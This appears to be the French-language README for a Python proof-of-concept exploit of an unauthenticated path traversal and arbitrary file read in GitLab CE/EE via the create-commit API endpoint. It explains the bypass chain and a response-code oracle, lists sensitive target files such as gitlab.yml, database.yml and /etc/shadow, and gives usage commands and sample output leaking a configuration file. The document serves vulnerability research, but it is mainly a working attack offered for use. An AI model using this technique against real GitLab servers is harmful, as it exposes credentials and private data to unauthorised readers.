
PoC Python exploitant CVE-2026-85706, une traversée de chemin non authentifiée et une lecture arbitraire de fichiers dans GitLab CE/EE via le point de terminaison create-commit, avec oracle de lecture de fichiers.
Traversée de chemin non authentifiée / lecture arbitraire de fichiers dans GitLab CE et EE. CVSS 10.0. Vérifié contre une instance auto-gérée 19.3.1 dans un laboratoire local.
GitLab CE/EE :
Précondition : l'instance possède au moins un projet public. N'importe quel identifiant de projet réel fonctionne. Aucun compte ni jeton nécessaire.
Le point de terminaison de création de commit POST /api/v4/projects/:id/repository/commits accepte de gros corps de fichiers, donc Workhorse met en mémoire tampon le corps de la requête sur disque et injecte les métadonnées file.path / file.size que Rails relit. Quatre erreurs s'alignent :
require_gitlab_workhorse! qu'à l'entrée. Le véritable authenticate! se trouve derrière authorize_push_to_branch!, qui s'exécute après la lecture du fichier.file_params_from_body_upload prend file.path et file.size directement depuis les paramètres de la requête, donc File.read(file_path) suit n'importe quel chemin absolu que vous fournissez..../repository/commits\z. Ajouter un slash final rate cette route et retombe sur le proxy inverse signé, qui transmet le corps brut avec un JWT valide. La vérification Workhorse passe, Grape normalise le slash, et les paramètres forgés survivent.Content-Type: application/x-www-form-urlencoded, le contenu du fichier est analysé par Rack::Utils.parse_nested_query. Une séquence % illégale déclenche ArgumentError: invalid %-encoding (<component>) et la réponse 400 renvoie ce composant verbatim.La lecture s'exécute en tant qu'utilisateur git. Le contenu n'est renvoyé que si le fichier contient une séquence % illégale ; sinon vous obtenez tout de même un oracle propre d'existence et de lisibilité :
| Réponse | Signification |
|---|---|
400 local file not present | le fichier n'existe pas |
500 | existe, non lisible par git |
401 | existe et lisible, pas de % illégal, rien renvoyé |
400 invalid %-encoding (...) | lisible, composant renvoyé |
Fichiers qui renvoient de manière fiable sur une installation omnibus par défaut : gitlab.yml (le commentaire d'en-tête atteint 95% tôt), les journaux et artefacts de jobs CI, les pièces jointes téléversées, et database.yml sur les déploiements avec une base de données externe.
python3 exploit.py -t http://target:8080 # reads gitlab.yml
python3 exploit.py -t http://target:8080 -f /etc/passwd
python3 exploit.py -t http://target:8080 -p 3 -o out.txt
Aucune dépendance, uniquement la bibliothèque standard.
Contre gitlab-ce 19.3.1 dans docker, zéro identifiant :
$ python3 exploit.py -t http://127.0.0.1:8929
[*] HTTP 400 | leaked
[+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
=========================
## GitLab settings
gitlab:
## Web server settings (note: host is the FQDN, do not include http://)
host: localhost
port: 8929
https: false
...
------------------------------------------------------------
Vérifications ponctuelles de l'oracle depuis la même exécution :
/etc/passwd -> 401 (readable, no echo)
/etc/shadow -> 500 (exists, permission denied)
/etc/nonexistent -> 400 local file not present
Pour les tests et la recherche en sécurité autorisés uniquement. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.